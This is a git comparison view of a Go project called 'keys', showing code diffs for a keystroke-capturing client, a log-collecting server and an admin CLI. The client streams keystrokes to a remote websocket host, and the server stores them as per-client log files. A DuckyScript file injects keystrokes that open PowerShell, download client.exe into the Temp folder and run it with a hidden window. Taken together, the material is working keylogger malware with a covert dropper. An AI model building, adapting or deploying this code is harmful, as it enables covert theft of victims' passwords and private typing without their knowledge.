Compare commits
18 Commits
v1.0.0
...
473ea2ba74
Author | SHA1 | Date | |
---|---|---|---|
![]() |
473ea2ba74 | ||
![]() |
9547c72f5a | ||
![]() |
6c8625dead | ||
![]() |
30aae96185 | ||
![]() |
e9065fb654 | ||
![]() |
f64f02cfd9 | ||
![]() |
6754872cfe | ||
![]() |
9ec12d7325 | ||
![]() |
be9d929309 | ||
![]() |
85a37ef176 | ||
![]() |
09077515db | ||
![]() |
afec6d69c7 | ||
![]() |
0335c3157e | ||
![]() |
ebe87d1eb3 | ||
![]() |
28883c620d | ||
![]() |
647ece6a43 | ||
![]() |
2abef32841 | ||
![]() |
f7ff35dcb8 |
5
.gitignore
vendored
Normal file
5
.gitignore
vendored
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
.idea/
|
||||||
|
|
||||||
|
data/
|
||||||
|
|
||||||
|
*/.env
|
22
admin/go.mod
Normal file
22
admin/go.mod
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
module svitan.dev/keys/admin
|
||||||
|
|
||||||
|
go 1.24.2
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/fsnotify/fsnotify v1.8.0 // indirect
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.2.1 // indirect
|
||||||
|
github.com/pelletier/go-toml/v2 v2.2.3 // indirect
|
||||||
|
github.com/sagikazarmark/locafero v0.7.0 // indirect
|
||||||
|
github.com/sourcegraph/conc v0.3.0 // indirect
|
||||||
|
github.com/spf13/afero v1.12.0 // indirect
|
||||||
|
github.com/spf13/cast v1.7.1 // indirect
|
||||||
|
github.com/spf13/pflag v1.0.6 // indirect
|
||||||
|
github.com/spf13/viper v1.20.1 // indirect
|
||||||
|
github.com/subosito/gotenv v1.6.0 // indirect
|
||||||
|
github.com/urfave/cli/v3 v3.1.1 // indirect
|
||||||
|
go.uber.org/atomic v1.9.0 // indirect
|
||||||
|
go.uber.org/multierr v1.9.0 // indirect
|
||||||
|
golang.org/x/sys v0.29.0 // indirect
|
||||||
|
golang.org/x/text v0.21.0 // indirect
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||||
|
)
|
38
admin/go.sum
Normal file
38
admin/go.sum
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M=
|
||||||
|
github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0=
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.2.1 h1:ZAaOCxANMuZx5RCeg0mBdEZk7DZasvvZIxtHqx8aGss=
|
||||||
|
github.com/go-viper/mapstructure/v2 v2.2.1/go.mod h1:oJDH3BJKyqBA2TXFhDsKDGDTlndYOZ6rGS0BRZIxGhM=
|
||||||
|
github.com/pelletier/go-toml/v2 v2.2.3 h1:YmeHyLY8mFWbdkNWwpr+qIL2bEqT0o95WSdkNHvL12M=
|
||||||
|
github.com/pelletier/go-toml/v2 v2.2.3/go.mod h1:MfCQTFTvCcUyyvvwm1+G6H/jORL20Xlb6rzQu9GuUkc=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/sagikazarmark/locafero v0.7.0 h1:5MqpDsTGNDhY8sGp0Aowyf0qKsPrhewaLSsFaodPcyo=
|
||||||
|
github.com/sagikazarmark/locafero v0.7.0/go.mod h1:2za3Cg5rMaTMoG/2Ulr9AwtFaIppKXTRYnozin4aB5k=
|
||||||
|
github.com/sourcegraph/conc v0.3.0 h1:OQTbbt6P72L20UqAkXXuLOj79LfEanQ+YQFNpLA9ySo=
|
||||||
|
github.com/sourcegraph/conc v0.3.0/go.mod h1:Sdozi7LEKbFPqYX2/J+iBAM6HpqSLTASQIKqDmF7Mt0=
|
||||||
|
github.com/spf13/afero v1.12.0 h1:UcOPyRBYczmFn6yvphxkn9ZEOY65cpwGKb5mL36mrqs=
|
||||||
|
github.com/spf13/afero v1.12.0/go.mod h1:ZTlWwG4/ahT8W7T0WQ5uYmjI9duaLQGy3Q2OAl4sk/4=
|
||||||
|
github.com/spf13/cast v1.7.1 h1:cuNEagBQEHWN1FnbGEjCXL2szYEXqfJPbP2HNUaca9Y=
|
||||||
|
github.com/spf13/cast v1.7.1/go.mod h1:ancEpBxwJDODSW/UG4rDrAqiKolqNNh2DX3mk86cAdo=
|
||||||
|
github.com/spf13/pflag v1.0.6 h1:jFzHGLGAlb3ruxLB8MhbI6A8+AQX/2eW4qeyNZXNp2o=
|
||||||
|
github.com/spf13/pflag v1.0.6/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
|
||||||
|
github.com/spf13/viper v1.20.1 h1:ZMi+z/lvLyPSCoNtFCpqjy0S4kPbirhpTMwl8BkW9X4=
|
||||||
|
github.com/spf13/viper v1.20.1/go.mod h1:P9Mdzt1zoHIG8m2eZQinpiBjo6kCmZSKBClNNqjJvu4=
|
||||||
|
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||||
|
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||||
|
github.com/subosito/gotenv v1.6.0 h1:9NlTDc1FTs4qu0DDq7AEtTPNw6SVm7uBMsUCUjABIf8=
|
||||||
|
github.com/subosito/gotenv v1.6.0/go.mod h1:Dk4QP5c2W3ibzajGcXpNraDfq2IrhjMIvMSWPKKo0FU=
|
||||||
|
github.com/urfave/cli/v3 v3.1.1 h1:bNnl8pFI5dxPOjeONvFCDFoECLQsceDG4ejahs4Jtxk=
|
||||||
|
github.com/urfave/cli/v3 v3.1.1/go.mod h1:FJSKtM/9AiiTOJL4fJ6TbMUkxBXn7GO9guZqoZtpYpo=
|
||||||
|
go.uber.org/atomic v1.9.0 h1:ECmE8Bn/WFTYwEW/bpKD3M8VtR/zQVbavAoalC1PYyE=
|
||||||
|
go.uber.org/atomic v1.9.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
|
||||||
|
go.uber.org/multierr v1.9.0 h1:7fIwc/ZtS0q++VgcfqFDxSBZVv/Xo49/SYnDFupUwlI=
|
||||||
|
go.uber.org/multierr v1.9.0/go.mod h1:X2jQV1h+kxSjClGpnseKVIxpmcjrj7MNnI0bnlfKTVQ=
|
||||||
|
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
|
||||||
|
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||||
|
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
||||||
|
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
||||||
|
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
226
admin/main.go
Normal file
226
admin/main.go
Normal file
@@ -0,0 +1,226 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"github.com/spf13/viper"
|
||||||
|
"github.com/urfave/cli/v3"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
server string
|
||||||
|
token string
|
||||||
|
)
|
||||||
|
|
||||||
|
func load() error {
|
||||||
|
viper.SetConfigName("config")
|
||||||
|
viper.SetConfigType("toml")
|
||||||
|
viper.AddConfigPath("$HOME/.local/share/keys")
|
||||||
|
err := viper.ReadInConfig()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
server = viper.GetString("server")
|
||||||
|
if server == "" {
|
||||||
|
return errors.New("'server' property is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
token = viper.GetString("token")
|
||||||
|
if token == "" {
|
||||||
|
return errors.New("'token' property is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func makeReq(method string, url string) error {
|
||||||
|
req, err := http.NewRequest(method, url, nil)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
req.Header.Set("Authorization", token)
|
||||||
|
res, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
recv, err := io.ReadAll(res.Body)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if res.StatusCode != 200 {
|
||||||
|
fmt.Printf("<-- %d\n", res.StatusCode)
|
||||||
|
}
|
||||||
|
fmt.Printf("%s", recv)
|
||||||
|
return nil
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
cmd := &cli.Command{
|
||||||
|
Name: "keys-admin",
|
||||||
|
Usage: "keys project server administration tool",
|
||||||
|
Commands: []*cli.Command{
|
||||||
|
{
|
||||||
|
Name: "version",
|
||||||
|
Usage: "print version and exit",
|
||||||
|
Action: func(context.Context, *cli.Command) error {
|
||||||
|
fmt.Println("version 1.0")
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "clients",
|
||||||
|
Usage: "fetch all clients",
|
||||||
|
Flags: []cli.Flag{
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "id",
|
||||||
|
Usage: "optional id of the client to fetch",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Action: clients,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "logs",
|
||||||
|
Usage: "fetch all/specific logs",
|
||||||
|
Flags: []cli.Flag{
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "id",
|
||||||
|
Usage: "optional id of the client to log",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "date",
|
||||||
|
Usage: "optional date of the log, id required, in ISO8601 date format",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "skip",
|
||||||
|
Usage: "optional skip bytes in log file",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "take",
|
||||||
|
Usage: "optional take bytes from log file",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Action: logs,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "name",
|
||||||
|
Usage: "rename a client",
|
||||||
|
Flags: []cli.Flag{
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "id",
|
||||||
|
Usage: "id of the client",
|
||||||
|
Required: true,
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "new",
|
||||||
|
Usage: "new name of the client",
|
||||||
|
Required: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Action: name,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "exit",
|
||||||
|
Usage: "request a client to disconnect",
|
||||||
|
Flags: []cli.Flag{
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "id",
|
||||||
|
Usage: "id of the client",
|
||||||
|
Required: true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Action: exit,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
err := cmd.Run(context.Background(), os.Args)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func clients(ctx context.Context, cmd *cli.Command) error {
|
||||||
|
err := load()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var url string
|
||||||
|
id := cmd.String("id")
|
||||||
|
if id != "" {
|
||||||
|
url = fmt.Sprintf("%s/admin/clients/%s", server, id)
|
||||||
|
} else {
|
||||||
|
url = fmt.Sprintf("%s/admin/clients", server)
|
||||||
|
}
|
||||||
|
|
||||||
|
return makeReq(http.MethodGet, url)
|
||||||
|
}
|
||||||
|
|
||||||
|
func logs(ctx context.Context, cmd *cli.Command) error {
|
||||||
|
err := load()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
var url string
|
||||||
|
id := cmd.String("id")
|
||||||
|
if id != "" {
|
||||||
|
params := map[string]string{
|
||||||
|
"date": cmd.String("date"),
|
||||||
|
"skip": cmd.String("skip"),
|
||||||
|
"take": cmd.String("take"),
|
||||||
|
}
|
||||||
|
paramsStr := ""
|
||||||
|
for k, v := range params {
|
||||||
|
if v == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if paramsStr == "" {
|
||||||
|
paramsStr = fmt.Sprintf("?%s=%s", k, v)
|
||||||
|
} else {
|
||||||
|
paramsStr += fmt.Sprintf("&%s=%s", k, v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
url = fmt.Sprintf("%s/admin/logs/%s%s", server, id, paramsStr)
|
||||||
|
} else {
|
||||||
|
url = fmt.Sprintf("%s/admin/logs", server)
|
||||||
|
}
|
||||||
|
|
||||||
|
return makeReq(http.MethodGet, url)
|
||||||
|
}
|
||||||
|
|
||||||
|
func name(ctx context.Context, cmd *cli.Command) error {
|
||||||
|
err := load()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
id := cmd.String("id")
|
||||||
|
name := cmd.String("new")
|
||||||
|
url := fmt.Sprintf("%s/admin/name/%s?name=%s", server, id, name)
|
||||||
|
return makeReq(http.MethodPost, url)
|
||||||
|
}
|
||||||
|
|
||||||
|
func exit(ctx context.Context, cmd *cli.Command) error {
|
||||||
|
err := load()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
id := cmd.String("id")
|
||||||
|
url := fmt.Sprintf("%s/admin/exit/%s", server, id)
|
||||||
|
return makeReq(http.MethodPost, url)
|
||||||
|
}
|
@@ -3,6 +3,7 @@ package main
|
|||||||
import (
|
import (
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
hook "github.com/robotn/gohook"
|
hook "github.com/robotn/gohook"
|
||||||
@@ -18,9 +19,7 @@ const (
|
|||||||
REG_END = 255
|
REG_END = 255
|
||||||
)
|
)
|
||||||
|
|
||||||
const HOST = "localhost:8080"
|
var u = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: "/keys"}
|
||||||
|
|
||||||
var u = url.URL{Scheme: "ws", Host: HOST, Path: "/keys"}
|
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
var conn *websocket.Conn
|
var conn *websocket.Conn
|
||||||
@@ -33,6 +32,7 @@ func main() {
|
|||||||
if tries >= 3 {
|
if tries >= 3 {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
time.Sleep(time.Second)
|
||||||
} else {
|
} else {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -60,31 +60,31 @@ func main() {
|
|||||||
switch ev.Rawcode {
|
switch ev.Rawcode {
|
||||||
case SHIFT_RAWCODE:
|
case SHIFT_RAWCODE:
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
buff = append(buff, []byte("[SHIFT]")...)
|
|
||||||
} else if ev.Kind == hook.KeyUp {
|
|
||||||
buff = append(buff, []byte("[shift]")...)
|
buff = append(buff, []byte("[shift]")...)
|
||||||
|
} else if ev.Kind == hook.KeyUp {
|
||||||
|
buff = append(buff, []byte("[SHIFT]")...)
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
|
|
||||||
case CTRL_RAWCODE:
|
case CTRL_RAWCODE:
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
buff = append(buff, []byte("[CTRL]")...)
|
|
||||||
} else if ev.Kind == hook.KeyUp {
|
|
||||||
buff = append(buff, []byte("[ctrl]")...)
|
buff = append(buff, []byte("[ctrl]")...)
|
||||||
|
} else if ev.Kind == hook.KeyUp {
|
||||||
|
buff = append(buff, []byte("[CTRL]")...)
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
|
|
||||||
case ALT_RAWCODE:
|
case ALT_RAWCODE:
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
buff = append(buff, []byte("[ALT]")...)
|
|
||||||
} else if ev.Kind == hook.KeyUp {
|
|
||||||
buff = append(buff, []byte("[alt]")...)
|
buff = append(buff, []byte("[alt]")...)
|
||||||
|
} else if ev.Kind == hook.KeyUp {
|
||||||
|
buff = append(buff, []byte("[ALT]")...)
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
|
|
||||||
case DEL_KEYCHAR:
|
case DEL_KEYCHAR:
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
buff = append(buff, []byte("[DEL]")...)
|
buff = append(buff, []byte("[del]")...)
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -92,7 +92,7 @@ func main() {
|
|||||||
switch ev.Keychar {
|
switch ev.Keychar {
|
||||||
case DEL_KEYCHAR:
|
case DEL_KEYCHAR:
|
||||||
if ev.Kind == hook.KeyDown {
|
if ev.Kind == hook.KeyDown {
|
||||||
buff = append(buff, []byte("[DEL]")...)
|
buff = append(buff, []byte("[del]")...)
|
||||||
}
|
}
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
15
keys.txt
Normal file
15
keys.txt
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
REM open powershell
|
||||||
|
GUI r
|
||||||
|
DELAY 1000
|
||||||
|
STRING powershell
|
||||||
|
ENTER
|
||||||
|
DELAY 2000
|
||||||
|
|
||||||
|
REM download client.exe file
|
||||||
|
STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/v1.0.0/client.exe -OutFile .\AppData\Local\Temp\keys.exe
|
||||||
|
ENTER
|
||||||
|
DELAY 15000
|
||||||
|
|
||||||
|
REM client.exe file (closes automatically)
|
||||||
|
STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow }
|
||||||
|
ENTER
|
@@ -1,4 +1,4 @@
|
|||||||
FROM golang:1.23
|
FROM golang:1.24
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
COPY . .
|
COPY . .
|
||||||
@@ -7,4 +7,5 @@ RUN echo "" > .env
|
|||||||
RUN go get -v .
|
RUN go get -v .
|
||||||
RUN go install -v .
|
RUN go install -v .
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
CMD ["server"]
|
CMD ["server"]
|
||||||
|
@@ -3,6 +3,7 @@ module svitan.dev/keys/server
|
|||||||
go 1.24.1
|
go 1.24.1
|
||||||
|
|
||||||
require (
|
require (
|
||||||
|
github.com/google/uuid v1.6.0
|
||||||
github.com/gorilla/websocket v1.5.3
|
github.com/gorilla/websocket v1.5.3
|
||||||
github.com/joho/godotenv v1.5.1
|
github.com/joho/godotenv v1.5.1
|
||||||
github.com/labstack/echo/v4 v4.13.3
|
github.com/labstack/echo/v4 v4.13.3
|
||||||
|
@@ -1,5 +1,7 @@
|
|||||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||||
|
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
|
github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
|
||||||
|
246
server/main.go
246
server/main.go
@@ -3,11 +3,16 @@ package main
|
|||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"path"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
"syscall"
|
"syscall"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
"github.com/gorilla/websocket"
|
"github.com/gorilla/websocket"
|
||||||
"github.com/joho/godotenv"
|
"github.com/joho/godotenv"
|
||||||
"github.com/labstack/echo/v4"
|
"github.com/labstack/echo/v4"
|
||||||
@@ -16,34 +21,85 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const TimeFormat = "2006-01-02 15:04:05"
|
const TimeFormat = "2006-01-02 15:04:05"
|
||||||
|
const DateFormat = "2006-01-02"
|
||||||
|
|
||||||
|
var LogRegex = regexp.MustCompile(`(?m)^\d{4}-\d{2}-\d{2}_.*\.txt$`)
|
||||||
|
|
||||||
type Client struct {
|
type Client struct {
|
||||||
ID int
|
ID uuid.UUID `json:"id"`
|
||||||
conn *websocket.Conn
|
Name string `json:"name"`
|
||||||
Exit bool
|
Connected bool `json:"connected"`
|
||||||
|
ConnectedAt time.Time `json:"connectedAt"`
|
||||||
|
DisconnectedAt time.Time `json:"disconnectedAt"`
|
||||||
|
CreatedAt time.Time `json:"createdAt"`
|
||||||
|
UpdatedAt time.Time `json:"updatedAt"`
|
||||||
|
ExitWanted bool `json:"exitWanted"`
|
||||||
|
conn *websocket.Conn `json:"-"`
|
||||||
}
|
}
|
||||||
|
|
||||||
var id = 0
|
|
||||||
var clients = []*Client{}
|
var clients = []*Client{}
|
||||||
var keyDir = "."
|
var dataDir = "."
|
||||||
var token = ""
|
var token = ""
|
||||||
var upgrader = websocket.Upgrader{}
|
var upgrader = websocket.Upgrader{}
|
||||||
|
|
||||||
type ReqData struct {
|
type IDParam struct {
|
||||||
ID int `json:"id"`
|
ID string `param:"id"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func authed(next echo.HandlerFunc) echo.HandlerFunc {
|
||||||
|
return func(c echo.Context) error {
|
||||||
|
if c.Request().Header.Get("Authorization") != token {
|
||||||
|
return c.NoContent(http.StatusUnauthorized)
|
||||||
|
}
|
||||||
|
|
||||||
|
return next(c)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func idparam(next func(echo.Context, uuid.UUID) error) echo.HandlerFunc {
|
||||||
|
return func(c echo.Context) error {
|
||||||
|
var data IDParam
|
||||||
|
err := c.Bind(&data)
|
||||||
|
if err != nil || data.ID == "" {
|
||||||
|
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
|
||||||
|
}
|
||||||
|
id, err := uuid.Parse(data.ID)
|
||||||
|
if err != nil {
|
||||||
|
return c.JSON(http.StatusBadRequest, echo.Map{"message": "field 'id' is not a uuid"})
|
||||||
|
}
|
||||||
|
|
||||||
|
return next(c, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func filename(dataDir string, id string, date string) string {
|
||||||
|
return fmt.Sprintf("%s/%s_%s.txt", dataDir, date, id)
|
||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
_ = godotenv.Load()
|
_ = godotenv.Load()
|
||||||
keyDir = os.Getenv("KEY_DIR")
|
dataDir = os.Getenv("DATA_DIR")
|
||||||
if keyDir == "" {
|
if dataDir == "" {
|
||||||
log.Fatal("KEY_DIR is not defined")
|
log.Fatal("DATA_DIR is not defined")
|
||||||
}
|
}
|
||||||
token = os.Getenv("TOKEN")
|
token = os.Getenv("TOKEN")
|
||||||
if token == "" {
|
if token == "" {
|
||||||
log.Fatal("TOKEN is not defined")
|
log.Fatal("TOKEN is not defined")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
f, err := os.OpenFile(path.Join(dataDir, "startup"), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("DATA_DIR %s is not writable (%v)\n", dataDir, err)
|
||||||
|
}
|
||||||
|
_, err = f.Write([]byte(fmt.Sprintf("%s\n", time.Now().Format(TimeFormat))))
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("DATA_DIR test file couldn't be written to (%v)\n", err)
|
||||||
|
}
|
||||||
|
err = f.Close()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("DATA_DIR test file couldn't be closed (%v)\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
app := echo.New()
|
app := echo.New()
|
||||||
app.Logger.SetLevel(log.INFO)
|
app.Logger.SetLevel(log.INFO)
|
||||||
|
|
||||||
@@ -54,7 +110,7 @@ func main() {
|
|||||||
app.Use(middleware.Secure())
|
app.Use(middleware.Secure())
|
||||||
|
|
||||||
app.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{
|
app.Use(middleware.LoggerWithConfig(middleware.LoggerConfig{
|
||||||
Format: "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)",
|
Format: "${time_custom} ${method} ${uri} ---> ${status} in ${latency_human} (${bytes_out} bytes)\n",
|
||||||
CustomTimeFormat: TimeFormat,
|
CustomTimeFormat: TimeFormat,
|
||||||
}))
|
}))
|
||||||
app.Use(middleware.RemoveTrailingSlash())
|
app.Use(middleware.RemoveTrailingSlash())
|
||||||
@@ -88,45 +144,120 @@ func main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
indent := "\t"
|
||||||
|
|
||||||
|
// client connection
|
||||||
app.GET("/", func(c echo.Context) error {
|
app.GET("/", func(c echo.Context) error {
|
||||||
return c.JSON(http.StatusOK, "Hello World!")
|
return c.JSONPretty(http.StatusOK, "Hello World!", indent)
|
||||||
})
|
})
|
||||||
app.GET("/keys", keys)
|
app.GET("/keys", keys)
|
||||||
|
|
||||||
app.GET("/clients", func(c echo.Context) error {
|
// administration
|
||||||
if c.Request().Header.Get("Authorization") != token {
|
app.GET("/admin/clients", authed(func(c echo.Context) error {
|
||||||
return c.NoContent(http.StatusUnauthorized)
|
return c.JSONPretty(http.StatusOK, clients, indent)
|
||||||
}
|
}))
|
||||||
|
|
||||||
var a = []echo.Map{}
|
app.GET("/admin/clients/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
|
||||||
for _, client := range clients {
|
for _, client := range clients {
|
||||||
a = append(a, echo.Map{
|
if client.ID == id {
|
||||||
"id": client.ID,
|
return c.JSONPretty(http.StatusOK, client, indent)
|
||||||
"exit": client.Exit,
|
}
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return c.JSON(http.StatusOK, a)
|
return c.NoContent(http.StatusNotFound)
|
||||||
})
|
})))
|
||||||
app.POST("/exit", func(c echo.Context) error {
|
|
||||||
if c.Request().Header.Get("Authorization") != token {
|
|
||||||
return c.NoContent(http.StatusUnauthorized)
|
|
||||||
}
|
|
||||||
|
|
||||||
var data ReqData
|
app.GET("/admin/logs", authed(func(c echo.Context) error {
|
||||||
err := c.Bind(&data)
|
files, err := os.ReadDir(dataDir)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return c.JSON(http.StatusBadRequest, echo.Map{"message": "missing field 'id'"})
|
log.Error(err)
|
||||||
|
return c.NoContent(http.StatusInternalServerError)
